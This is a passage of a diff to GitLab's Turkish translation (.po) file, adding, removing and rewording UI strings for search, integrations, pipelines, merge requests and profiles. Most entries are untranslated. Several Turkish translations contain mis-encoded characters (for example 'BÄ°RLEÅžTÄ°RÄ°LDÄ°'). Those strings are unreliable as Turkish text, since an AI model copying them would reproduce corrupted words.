-msgid "Fixed due date"
-msgstr "Düzeltme sona erme tarihi"
-
-msgid "Fixed start date"
-msgstr "Düzeltme başlangıç tarihi"
-
msgid "Fixed:"
msgstr "Düzeltildi:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr "Genel Kısayollar"
msgid "Global notification settings"
msgstr "Genel bildirim ayarları"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr "Merhaba %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr "Tümü"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr "Birleştirme isteği açıklamasını dahil et"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr "Yorumları etkinleştir"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Aralık Deseni"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,8 +19035,8 @@ msgstr "Geçersiz giriş ya da şifre"
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
-msgstr "Geçersiz pin kodu"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr ""
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Sorun etkinlikleri"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr "Bazı panolarınız gizlendi, tekrar görmek için bir lisans etkinleşt
msgid "IssueBoards|Switch board"
msgstr "Panoyu deÄŸiÅŸtir"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr "Sorunlar"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr "Sorunlar kapalı"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Ocak"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr "Lisans UyumluluÄŸu"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr "BÄ°RLEÅžTÄ°RÄ°LDÄ°"
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr "Tüm bildirimleri yönet"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "GitLab'ı bir OAuth sağlayıcısı olarak kullanabilen uygulamaları ve hesabınızı kullanma yetkisi verdiğiniz uygulamaları yönetin."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "Birleştirme işlemi mesajı"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "BirleÅŸtirme etkinlikleri"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "BirleÅŸtirme istekleri"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Yeni birleÅŸtirme isteÄŸi"
msgid "New milestone"
msgstr "Yeni dönüm noktası"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Yeni ÅŸifre"
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Yeni zamanlama"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Yeni parçacık"
@@ -23231,6 +23589,9 @@ msgstr "Dosya bulunamadı."
msgid "No forks are available to you."
msgstr "Kullanabileceğiniz çatal yok."
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Birleştirme isteği bulunamadı"
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Genel grup yok"
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr "Zamanlama bulunamadı"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr "Gizli deÄŸil"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Açık"
msgid "Open Selection"
msgstr "Seçimi Aç"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Åžifre"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr "Önceki"
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,8 +26693,8 @@ msgstr "%{provider} bağlantısını kes"
msgid "Profiles|Do not show on profile"
msgstr "Profilde gösterme"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Etkinliklerle ile ilgili kişisel bilgileri profiliniz üstünde göstermeyin"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Profili Düzenle"
@@ -26314,15 +26714,15 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr "Süresi dolmuş anahtar geçerli değil."
msgid "Profiles|Expired:"
msgstr "Süresi doldu:"
-msgid "Profiles|Expires at"
-msgstr "Son kullanma tarihi:"
-
msgid "Profiles|Expires:"
msgstr "Son kullanma tarihi:"
@@ -26362,13 +26762,16 @@ msgstr "Geçersiz kullanıcı adı"
msgid "Profiles|Key"
msgstr "Anahtar"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
